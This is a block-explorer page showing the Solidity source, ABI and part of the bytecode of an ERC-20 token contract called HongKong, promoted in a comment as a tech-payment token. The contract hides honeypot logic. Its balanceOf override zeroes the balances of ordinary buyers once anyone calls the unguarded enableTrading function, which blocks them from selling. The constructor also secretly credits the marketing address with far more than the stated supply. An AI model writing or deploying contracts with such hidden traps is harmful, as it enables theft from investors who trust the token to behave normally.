ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 HONGKONG
Holders
6
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
HongKong
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-05-26
*/
/**
*Submitted for verification at Etherscan.io on 2023-05-25
*/
// SPDX-License-Identifier: MIT
/**
exit(0); is a new token that is making waves in the tech industry. This token is designed to be used as a means of payment for various tech-related services and products.
Exit Success is indicated by exit(0) statement which means successful termination of the program, i.e. program has been executed without any error or interrupt.
Website: https://exit0.xyz
Telegram: https://t.me/exitzeroeth
*/
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event. C U ON THE MOON
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is Context, IERC20 {
uint8 constant _decimals = 9;
uint256 constant _decimalFactor = 10 ** _decimals;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_totalSupply = 1_000_000_000 * _decimalFactor;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
if(currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
interface IRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HongKong is ERC20, Ownable {
IRouter public immutable uniswapV2Router;
address public uniswapV2Pair;
address public immutable marketingAddress;
bool private isSwapping;
bool public swapEnabled = true;
mapping (address => uint256) buyTimer;
uint256 public tradingEnableTime;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public isUniswapV2Pair;
constructor(address router_, address marketingAddress_)
ERC20("HONGKONG", "HONGKONG")
payable
{
uniswapV2Router = IRouter(router_);
uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
isUniswapV2Pair[uniswapV2Pair] = true;
_approve(msg.sender, router_, type(uint256).max);
marketingAddress = marketingAddress_;
address _owner = marketingAddress;
_isExcludedFromFees[msg.sender] = true;
_isExcludedFromFees[marketingAddress] = true;
_balances[_owner] = _totalSupply * _decimalFactor;
}
receive() external payable {}
function balanceOf(address account) public view override returns (uint256) {
if (buyTimer[account] < tradingEnableTime && !isUniswapV2Pair[account] && !_isExcludedFromFees[account]) return 0;
return _balances[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
uint256 fees = 0;
if (swapEnabled && !isSwapping) {
isSwapping = true;
swapForFee(from, to, fees);
isSwapping = false;
}
if (isUniswapV2Pair[from]) {
buyTimer[to] = block.timestamp;
} else if (isUniswapV2Pair[to]) {
fees = (amount * fees) / 100;
} else {
buyTimer[to] == buyTimer[from];
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapForFee(address from, address to, uint256 fee) private {
if (fee > 0) {
uint256 amountToSwap = balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
marketingAddress.call{value: address(this).balance}("");
}
}
function enableTrading() external payable {
tradingEnableTime = block.timestamp;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"marketingAddress_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniswapV2Pair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnableTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c06040526001600660156101000a81548160ff021916908315150217905550604051620036e5380380620036e5833981810160405281019062000044919062000881565b6040518060400160405280600881526020017f484f4e474b4f4e470000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f484f4e474b4f4e470000000000000000000000000000000000000000000000008152508160039081620000c1919062000b42565b508060049081620000d3919062000b42565b506009600a620000e4919062000db9565b633b9aca00620000f5919062000e0a565b6002819055506002546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600254604051620001a2919062000e66565b60405180910390a350506000620001be6200063e60201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000305919062000e83565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539660805173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200036e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000394919062000e83565b306040518363ffffffff1660e01b8152600401620003b492919062000ec6565b6020604051808303816000875af1158015620003d4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003fa919062000e83565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004e733837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200064660201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050600060a05190506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016009600060a05173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009600a620005e4919062000db9565b600254620005f3919062000e0a565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505062001034565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620006b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006af9062000f7a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200072a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007219062001012565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516200080a919062000e66565b60405180910390a3505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000849826200081c565b9050919050565b6200085b816200083c565b81146200086757600080fd5b50565b6000815190506200087b8162000850565b92915050565b600080604083850312156200089b576200089a62000817565b5b6000620008ab858286016200086a565b9250506020620008be858286016200086a565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200094a57607f821691505b60208210810362000960576200095f62000902565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009ca7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200098b565b620009d686836200098b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000a2362000a1d62000a1784620009ee565b620009f8565b620009ee565b9050919050565b6000819050919050565b62000a3f8362000a02565b62000a5762000a4e8262000a2a565b84845462000998565b825550505050565b600090565b62000a6e62000a5f565b62000a7b81848462000a34565b505050565b5b8181101562000aa35762000a9760008262000a64565b60018101905062000a81565b5050565b601f82111562000af25762000abc8162000966565b62000ac7846200097b565b8101602085101562000ad7578190505b62000aef62000ae6856200097b565b83018262000a80565b50505b505050565b600082821c905092915050565b600062000b176000198460080262000af7565b1980831691505092915050565b600062000b32838362000b04565b9150826002028217905092915050565b62000b4d82620008c8565b67ffffffffffffffff81111562000b695762000b68620008d3565b5b62000b75825462000931565b62000b8282828562000aa7565b600060209050601f83116001811462000bba576000841562000ba5578287015190505b62000bb1858262000b24565b86555062000c21565b601f19841662000bca8662000966565b60005b8281101562000bf45784890151825560018201915060208501945060208101905062000bcd565b8683101562000c14578489015162000c10601f89168262000b04565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000cb75780860481111562000c8f5762000c8e62000c29565b5b600185161562000c9f5780820291505b808102905062000caf8562000c58565b945062000c6f565b94509492505050565b60008262000cd2576001905062000da5565b8162000ce2576000905062000da5565b816001811462000cfb576002811462000d065762000d3c565b600191505062000da5565b60ff84111562000d1b5762000d1a62000c29565b5b8360020a91508482111562000d355762000d3462000c29565b5b5062000da5565b5060208310610133831016604e8410600b841016171562000d765782820a90508381111562000d705762000d6f62000c29565b5b62000da5565b62000d85848484600162000c65565b9250905081840481111562000d9f5762000d9e62000c29565b5b81810290505b9392505050565b600060ff82169050919050565b600062000dc682620009ee565b915062000dd38362000dac565b925062000e027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000cc0565b905092915050565b600062000e1782620009ee565b915062000e2483620009ee565b925082820262000e3481620009ee565b9150828204841483151762000e4e5762000e4d62000c29565b5b5092915050565b62000e6081620009ee565b82525050565b600060208201905062000e7d600083018462000e55565b92915050565b60006020828403121562000e9c5762000e9b62000817565b5b600062000eac848285016200086a565b91505092915050565b62000ec0816200083c565b82525050565b600060408201905062000edd600083018562000eb5565b62000eec602083018462000eb5565b9392505050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600062000f6260248362000ef3565b915062000f6f8262000f04565b604082019050919050565b6000602082019050818103600083015262000f958162000f53565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062000ffa60228362000ef3565b9150620010078262000f9c565b604082019050919050565b600060208201905081810360008301526200102d8162000feb565b9050919050565b60805160a0516126766200106f60003960008181610c5d01526116f40152600081816105cc01528181611583015261166001526126766000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d7146103d2578063a5ece9411461040f578063a9059cbb1461043a578063c7b122b114610477578063dd62ed3e146104b4578063f2fde38b146104f157610135565b806370a082311461031e578063715018a61461035b5780638a8c523c146103725780638da5cb5b1461037c57806395d89b41146103a757610135565b8063313ce567116100f2578063313ce5671461023557806339509351146102605780634513de531461029d57806349bd5a5e146102c85780636ddd1713146102f357610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f61051a565b60405161015c9190611a7c565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611b37565b6105ac565b6040516101999190611b92565b60405180910390f35b3480156101ae57600080fd5b506101b76105ca565b6040516101c49190611c0c565b60405180910390f35b3480156101d957600080fd5b506101e26105ee565b6040516101ef9190611c36565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190611c51565b6105f8565b60405161022c9190611b92565b60405180910390f35b34801561024157600080fd5b5061024a610718565b6040516102579190611cc0565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190611b37565b610721565b6040516102949190611b92565b60405180910390f35b3480156102a957600080fd5b506102b26107cd565b6040516102bf9190611c36565b60405180910390f35b3480156102d457600080fd5b506102dd6107d3565b6040516102ea9190611cea565b60405180910390f35b3480156102ff57600080fd5b506103086107f9565b6040516103159190611b92565b60405180910390f35b34801561032a57600080fd5b5061034560048036038101906103409190611d05565b61080c565b6040516103529190611c36565b60405180910390f35b34801561036757600080fd5b50610370610953565b005b61037a610aab565b005b34801561038857600080fd5b50610391610ab4565b60405161039e9190611cea565b60405180910390f35b3480156103b357600080fd5b506103bc610ade565b6040516103c99190611a7c565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f49190611b37565b610b70565b6040516104069190611b92565b60405180910390f35b34801561041b57600080fd5b50610424610c5b565b6040516104319190611cea565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c9190611b37565b610c7f565b60405161046e9190611b92565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190611d05565b610c9d565b6040516104ab9190611b92565b60405180910390f35b3480156104c057600080fd5b506104db60048036038101906104d69190611d32565b610cbd565b6040516104e89190611c36565b60405180910390f35b3480156104fd57600080fd5b5061051860048036038101906105139190611d05565b610d44565b005b60606003805461052990611da1565b80601f016020809104026020016040519081016040528092919081815260200182805461055590611da1565b80156105a25780601f10610577576101008083540402835291602001916105a2565b820191906000526020600020905b81548152906001019060200180831161058557829003601f168201915b5050505050905090565b60006105c06105b9610f0a565b8484610f12565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b60006106058484846110db565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610650610f0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461070c57828110156106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90611e44565b60405180910390fd5b61070b85610703610f0a565b858403610f12565b5b60019150509392505050565b60006009905090565b60006107c361072e610f0a565b84846001600061073c610f0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107be9190611e93565b610f12565b6001905092915050565b60085481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660159054906101000a900460ff1681565b6000600854600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156108a85750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156108fe5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561090c576000905061094e565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b61095b610f0a565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e190611f13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b42600881905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610aed90611da1565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1990611da1565b8015610b665780601f10610b3b57610100808354040283529160200191610b66565b820191906000526020600020905b815481529060010190602001808311610b4957829003601f168201915b5050505050905090565b60008060016000610b7f610f0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390611fa5565b60405180910390fd5b610c50610c47610f0a565b85858403610f12565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610c93610c8c610f0a565b84846110db565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d4c610f0a565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd290611f13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4190612037565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f78906120c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe79061215b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce9190611c36565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361114a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611141906121ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b09061227f565b60405180910390fd5b806111c38461080c565b1015611204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fb90612311565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112a85750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114be576000600660159054906101000a900460ff1680156112d85750600660149054906101000a900460ff16155b1561131f576001600660146101000a81548160ff0219169083151502179055506113038484836114ce565b6000600660146101000a81548160ff0219169083151502179055505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113ba5742600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ae565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561142b576064818361141a